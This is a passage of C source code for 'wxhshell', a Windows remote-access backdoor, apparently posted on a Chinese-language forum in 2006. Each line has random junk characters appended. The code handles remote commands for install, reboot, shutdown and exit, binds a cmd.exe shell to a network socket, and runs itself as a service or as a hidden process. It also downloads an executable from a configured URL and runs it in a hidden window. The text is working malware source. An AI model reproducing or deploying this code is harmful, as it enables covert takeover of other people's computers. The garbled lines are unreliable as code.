  NdaVT5RB  
  // 帮助 _:oMyK'  
  case '?': { yz54:q?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c%o5 E%  
    break; I^6c 0`  
  } L5hQdT/b$  
  // 安装 W66}\&5  
  case 'i': { BBaHM sr  
    if(Install()) 54, Ju'r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BA`kxL/x  
    else \ x>NB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }xpe  
    break; g)2m$#T&s  
    } i4 y(H  
  // 卸载 Lh8# I&x  
  case 'r': { THegPD67J  
    if(Uninstall()) s?1-$|*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NZC<m$')  
    else U"jUMOMZ;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <m|FccvQ  
    break; Vs2v j  
    } MVu[gB  
  // 显示 wxhshell 所在路径 <v1_F;{n  
  case 'p': { EBN]>zz  
    char svExeFile[MAX_PATH]; C.B8 J"T-  
    strcpy(svExeFile,"\n\r"); #d7)$ub  
      strcat(svExeFile,ExeFile); zIX}[l4EW~  
        send(wsh,svExeFile,strlen(svExeFile),0); 8' WLm  
    break; ^hGZVGSv  
    } )wyu+_:  
  // 重启 N^@%qUvT]  
  case 'b': { ur,V>J<5A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gK]T}  
    if(Boot(REBOOT)) 1tuator  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4AG&z,[  
    else { [qc6Q:  
    closesocket(wsh); z{<q0.^EFh  
    ExitThread(0); dUBVp 9PB  
    } q[We][Nrzb  
    break; 5VY%o8xXa  
    } \, X?K  
  // 关机 RQ_#rYmT  
  case 'd': { j[Hg]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Lt#:R\;&  
    if(Boot(SHUTDOWN)) Bk@_]a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A=@V LU4%  
    else { 'RN"yMv7l  
    closesocket(wsh); Ezo" f  
    ExitThread(0); 3 8ls 4v3  
    } "X!_37kQ  
    break; -&HoR!af  
    } ~h~r]tV*+  
  // 获取shell &El[  
  case 's': { g tSHy*3]  
    CmdShell(wsh); PhI{3B/  
    closesocket(wsh); 123-i,epg  
    ExitThread(0); 42H#n]Y  
    break; N-_| %C-.  
  } g*\v}6 h  
  // 退出 pB{ f-M:D  
  case 'x': { b_"V%<I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \t 7zMp  
    CloseIt(wsh); d,E/9y\e  
    break; kB!M[[t  
    } aNh1e^j  
  // 离开 <jg wdbT"6  
  case 'q': { jAK`96+D~b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +&@l{x(,  
    closesocket(wsh); RM / s :  
    WSACleanup(); 9EY_R&Yq%  
    exit(1); >LRaIU>  
    break; vzgudxG'z  
        } pQ6t]DJ4  
  } U7Sl@-#|  
  } %.r5E2'  
 4pOc`  
  // 提示信息 sC'A_-'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {pi67"mYp  
} B3i=pcef  
  } q'U-{~q%  
H#d! `  
  return; w2mlqy2L  
} [pyXX>:M  
j4hUPL7  
// shell模块句柄 -$Z-hxs^  
int CmdShell(SOCKET sock) f+(w(~O  
{ 5la]l  
STARTUPINFO si; ~S<F  
ZeroMemory(&si,sizeof(si)); [&k& $04_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %PNm7s4x2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; > &  lg  
PROCESS_INFORMATION ProcessInfo; %#;(]7Zq  
char cmdline[]="cmd"; & m ";D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -O,O<tOm  
  return 0; P#'DGW&W0  
} \6PIw-)  
2%, ' }Bus  
// 自身启动模式 mZ.6Njb  
int StartFromService(void) 2QQYXJ^  
{ z4OR UQ  
typedef struct r  E *u  
{ X<bj2 w  
  DWORD ExitStatus; ;Z<*.f'^fc  
  DWORD PebBaseAddress; {b8Y-  
  DWORD AffinityMask; QRc=-Wu_(  
  DWORD BasePriority; w6%CB E2  
  ULONG UniqueProcessId; Ab|NjY:  
  ULONG InheritedFromUniqueProcessId; bTYP{x~ y  
}   PROCESS_BASIC_INFORMATION; 0 GLB3I >  
{;rpgc  
PROCNTQSIP NtQueryInformationProcess; Xf/<.5A  
7|?@\ZE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;`Ch2b1+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $/sZYsN~T  
Q\th8/ /  
  HANDLE             hProcess; 'm.XmVZL%  
  PROCESS_BASIC_INFORMATION pbi; t7`Pw33#kY  
_ O71r}4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2ZFK jj  
  if(NULL == hInst ) return 0; T<~[vjA  
iZqFVr&JF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "I 1M$^8n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); loVvr"&g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XzwQ,+IAr  
1$!K2=%OXj  
  if (!NtQueryInformationProcess) return 0; @9Pn(fd]  
aLo>Yi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YedipYG9;  
  if(!hProcess) return 0; Wn</",Gf  
wOl-iN=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BY2txLLB  
a[9OtZX<  
  CloseHandle(hProcess); uS10P7N}  
9>Z#o<*_/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g?Ty5~:lq  
if(hProcess==NULL) return 0; n \NDi22  
xaaxj  
HMODULE hMod; 5nw9zW :'  
char procName[255]; [ ESQD5&  
unsigned long cbNeeded; o sH,(\4_  
@(5RAYRV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "k@/Z7=  
N=Yi :+  
  CloseHandle(hProcess); }U1{&4Ph  
WmBnc#>gK  
if(strstr(procName,"services")) return 1; // 以服务启动  x a,LV  
]=$ ay0HC  
  return 0; // 注册表启动 S6:gow(wU  
} xqZ%c/I3q  
|?b"my$g$  
// 主模块 s+t eYL#Zi  
int StartWxhshell(LPSTR lpCmdLine) F4l6PGxF&\  
{ QU;C*}0Zl  
  SOCKET wsl; K&oO+G^f  
BOOL val=TRUE; K%@SS8!oy  
  int port=0; f3&//h8  
  struct sockaddr_in door; +f~3FXM  
aQuy*\$$  
  if(wscfg.ws_autoins) Install(); Ss/="jC  
h$h`XBVZe;  
port=atoi(lpCmdLine); /JY i^rZ  
x1ex}_\  
if(port<=0) port=wscfg.ws_port; ,;& PKY  
90I3_[Ii  
  WSADATA data; yU lQPrNX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r>eXw5Pr7  
Hs!CJ(0"y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4v JIO{m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c8W=Is`  
  door.sin_family = AF_INET; :Bc;.%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !(tJZ5  
  door.sin_port = htons(port); +\m!# CSA  
eW<hC (  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Sgy~Z^  
closesocket(wsl); JFkjpBS  
return 1; aDEP_b;  
}  'Z}$V*  
ps J 1J  
  if(listen(wsl,2) == INVALID_SOCKET) { j> M%?Tw  
closesocket(wsl); FkkB#Jk4  
return 1; 0`=?ig_  
} $~\qoW<  
  Wxhshell(wsl); D(GHkS*0q  
  WSACleanup(); . 2Q/D?a  
t, YAk ?}  
return 0; )&-+:u0  
3xY]Lqwv  
} _P+|tW1  
a}{! %5  
// 以NT服务方式启动 GDntGTE~sk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fje%hcV  
{ |e(x< [s5  
DWORD   status = 0; L0~O6*bk  
  DWORD   specificError = 0xfffffff; s2kynQ#a  
MeS$+9jV(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zvg&o)/[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {S~$\4vC!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2J <Z4Ap  
  serviceStatus.dwWin32ExitCode     = 0; 14zzWzKx  
  serviceStatus.dwServiceSpecificExitCode = 0; ShxX[k  
  serviceStatus.dwCheckPoint       = 0; 5eJd$}Lbc  
  serviceStatus.dwWaitHint       = 0; ~;` #{$/C&  
6dlPS{H#U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zD|W3hL2&  
  if (hServiceStatusHandle==0) return; 4'*K\Ul).H  
[Xg"B|FD0  
status = GetLastError(); ~:Nyv+g,$  
  if (status!=NO_ERROR) v}i}pQ\DK  
{ @e/dQ:Fb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g?sFmD  
    serviceStatus.dwCheckPoint       = 0; p^!p7B`qe.  
    serviceStatus.dwWaitHint       = 0; {F[Xe_=#"  
    serviceStatus.dwWin32ExitCode     = status; %m`QnRX?D  
    serviceStatus.dwServiceSpecificExitCode = specificError; ij^!TY[0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -Ox HQ  
    return; a#=-Aj-  
  } =7> ~u  
l{g( z !  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >kT~X ,o  
  serviceStatus.dwCheckPoint       = 0; c i>=45@J  
  serviceStatus.dwWaitHint       = 0; zq&lxySa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b*i+uV?  
} &kBs'P8>  
!8].Z"5J  
// 处理NT服务事件,比如:启动、停止  =%`"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zKr(Gt8  
{ [x,&Gwa  
switch(fdwControl) K<(R Vh  
{ [OSUARm v  
case SERVICE_CONTROL_STOP: 29oEkaX2o  
  serviceStatus.dwWin32ExitCode = 0; ]Re<7_xt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xOlkG*3c  
  serviceStatus.dwCheckPoint   = 0; \8ZNXCP  
  serviceStatus.dwWaitHint     = 0; -D(!B56_  
  { E83nEUs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cz%ih#^b  
  } 71InYIed  
  return; YoA$Gw2  
case SERVICE_CONTROL_PAUSE: O&uOm:/(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Pe.D[]S  
  break; We2=|AB  
case SERVICE_CONTROL_CONTINUE: ZWH`s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ns_d10rZ.  
  break; @UX`9]-P  
case SERVICE_CONTROL_INTERROGATE: QNY{ p k  
  break; )g9qkQ8q  
}; D6pk !mS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dmne+ufB  
} hv6>3gbr  
=v-D}eJQ=  
// 标准应用程序主函数 q6dq@   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S6 *dp68  
{ .67W\p  
"]<Ut{Xb  
// 获取操作系统版本 .xx9tP}Xy  
OsIsNt=GetOsVer(); @B6[RZR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [sBD|P;M  
_=b[b]Ec$s  
  // 从命令行安装 w# ['{GL  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y9N:%[ :>W  
(;N_lF0  
  // 下载执行文件 ~JJv 2  
if(wscfg.ws_downexe) { t@\0$V \X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p5\b&~ g  
  WinExec(wscfg.ws_filenam,SW_HIDE); tx.sUu6  
} apXq$wWq{D  
'Tn$lh  
if(!OsIsNt) { ]So%/rOvX  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qa=;Elp:[  
HideProc(); })Jp5vv  
StartWxhshell(lpCmdLine); _]g6 3q  
} :n=+$Dq  
else R0>L[1o  
  if(StartFromService()) : SNp"|  
  // 以服务方式启动 w[iQndu  
  StartServiceCtrlDispatcher(DispatchTable); WG,{:|!E  
else IaB A2  
  // 普通方式启动 #X+)  
  StartWxhshell(lpCmdLine); 6m9Z5:xG  
B!Y;VdX  
return 0; g?ft;kR6S  
}
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只看该作者 1 发表于: 2006-10-10
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